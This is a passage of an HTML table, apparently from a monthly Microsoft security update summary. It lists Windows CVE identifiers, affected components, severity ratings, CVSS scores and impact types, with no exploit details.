  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
